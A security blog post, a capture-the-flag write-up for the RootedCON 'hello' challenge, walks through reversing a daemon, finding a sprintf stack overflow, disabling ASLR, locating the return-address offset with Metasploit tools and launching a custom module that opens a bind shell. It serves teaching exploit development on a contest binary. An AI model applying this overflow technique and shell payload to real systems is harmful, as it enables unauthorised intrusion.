Limited Entropy Dot Com Not so random thoughts on security featured by Eloi Sanfèlix

22Mar/103

RootedCON CTF write-up ‘hello’ challenge

As you probably know, last week I was at RootedCON. During the congress, a Caputre The Flag contest was organized, where each participant had to resolve several challenges.

Although I didn't register for the contest, I got a copy of one of the binaries from a friend of mine. I'm sorry to be too late for it, if I had been on time he would have won a 1000 euro prize... but I had no time due to my talk. Sorry dude!

However, yesterday morning I had some spare time after the other guys left the hotel and during my flight, so I gave it a try. Yesterday during one of the talks I did a preliminary reverse engineering session with IDA Pro and quickly spotted the flaw: as the hints said, it was a stack buffer overflow using sprintf() in the say_something function :

public say_something
say_something proc near
 
var_118= dword ptr -118h
var_114= dword ptr -114h
var_110= dword ptr -110h
var_106= byte ptr -106h
var_C= dword ptr -0Ch
arg_0= dword ptr  8
 
push    ebp
mov     ebp, esp
sub     esp, 118h
mov     [esp+118h+var_110], 3E8h
mov     [esp+118h+var_114], 0
mov     [esp+118h+var_118], offset petete
call    _memset
mov     [esp+118h+var_110], 3E8h
mov     [esp+118h+var_114], offset petete
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _read
mov     [ebp+var_C], eax
mov     eax, offset aHolaS ; "Hola %s"
mov     [esp+118h+var_110], offset petete
mov     [esp+118h+var_114], eax
lea     eax, [ebp+var_106]
mov     [esp+118h+var_118], eax
call    _sprintf
mov     eax, [ebp+var_C]
add     eax, 5
mov     [esp+118h+var_110], eax
lea     eax, [ebp+var_106]
mov     [esp+118h+var_114], eax
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _write
mov     [esp+118h+var_110], 1
mov     [esp+118h+var_114], offset asc_8048F3B ; "\n"
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_118], eax
call    _write
leave
retn
say_something endp

They also provided an address space map from /proc/pid/maps, where one can see that the stack ends at 0xc0000000, which is the default userspace/kernelspace boundary in Linux x86. This means that ASLR is not enabled, so I just disabled it:

# echo 0 > /proc/sys/kernel/randomize_va_space

Then, I tried to exploit it launching the binary from the shell. However, the binary goes through several steps before it reaches the vulnerable code path. First it is 'daemonized': it forks and the parent process exists while the child process continues in the background. Not too bad, you can just attach to the child process with gdb, but this is not the interesting process yet. After it is daemonized, it does something along the lines of the following C code:

 
if(setuid(0x837)==-1)
    die("could not drop privs");
 
 
if((pw_struct = getpwuid(0x837))==NULL)
    die("Could not get pw entry");
 
chdir(pw_struct->pw_dir);

And then the process creates a socket and binds it to the tcp port 7878 and listens for incoming connections. Once a connection is received, it forks and serves it in the child process, while the parent process just goes back to the listen loop. This last process is the one we'd like to analyze, since this is the one calling our vulnerable function.

All this means that we'll need to do one of two things to reach this vulnerable code during our analysis: either we create a user with the uid needed or we patch the program to bypass these calls or to ask for a different uid. I took the first approach.

So what I did was connecting with netcat and attaching to the last process before sending any data. Then I sent a 300 byte pattern generated with Metasploit's pattern_create.rb:

$ nc localhost 7878
<Attach to process with gdb>
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
eloi@EloiLT:~$

This is what happens in gdb:

Program received signal SIGSEGV, Segmentation fault.
0x41376941 in ?? ()

Great. It seems we control eip and this definitely looks like part of the metasploit pattern. Let's find which part it is:

$ ./pattern_offset.rb 41376941 300
261

Allright, we have 261 bytes before we hit eip. This is a weird number, but it's due to the fact that it uses sprintf() with 5 characters in front of our input. Now we can use gdb to find where the buffer starts, and we find it at 0xbffff1c2. So this is our current situation: we can enter 261 bytes of data, then we have eip which we control, and then we have still some more room (up to the 1000 bytes read by the daemon from the network).

So, we'll just fill the buffer with junk, then an address in the middle of our nop sled (such as 0xbffff380), then some nops and then our payload. Since we do not have ASLR or anything, this will just work. We use a nop sled to count for the different environment the CTF server would have: a different list of environment variables will make the stack move slightly up or down.

Now we can make a metasploit module for it, and just launch it:

 
msf > use exploit/linux/misc/ctf_rooted 
msf exploit(ctf_rooted) > set payload linux/x86/shell_bind_tcp
payload => linux/x86/shell_bind_tcp
msf exploit(ctf_rooted) > set encoder x86/countdown
encoder => x86/countdown
msf exploit(ctf_rooted) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (127.0.0.1:60111 -> 127.0.0.1:2222)
id
uid=1000(eloi) gid=1000(eloi) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),109(lpadmin),115(admin),1000(eloi)
pwd
/tmp
Abort session 1? [y/N]  y

The metasploit module can be found here. You can see that it is a pretty simple module and it works fine on my local machine. Maybe you need to change something in yours (at the very least, disabling randomize_va_space is required) but it should be very similar or identical.

I did actually fill the buffer with the return address repeated many times because it failed when I was not attached with gdb and wanted to be sure I was overwriting the saved eip. I didn't investigate the reason, just solved it putting the ret address instead of nops and making a slightly bigger nop sled than I had before.

Since it is a remote exploit and the environment may vary greatly from your own machine to the CTF machine, it is possible that some bruteforcing of the return address is needed. Anyway, the daemon continues alive even if your exploit fails, so it should be no problem.

Again, I'm sorry dude I could not help you on time. Anyway, I'm sure you guys had great fun with it!

Posted by Eloi Sanfèlix

Filed under: General Leave a comment
Comments (3) Trackbacks (0)
  1. Nice post! You and MSF are becoming more intimate!

    It was a pity we couldn’t make it on the contest, it was 100% incompatible with attending the talks 🙁

  2. Nice! I also attended to rootedcon and had to choose between ctf and talks! Btw congratz on your great talk on android shellcode!! Really nice!!
    Is it possible to share thee binary to play sround with it?

    Thanks!

  3. Yes, it seems that you are falling in love with the great metasploit 😛

    Good analisys!


Leave a comment

No trackbacks yet.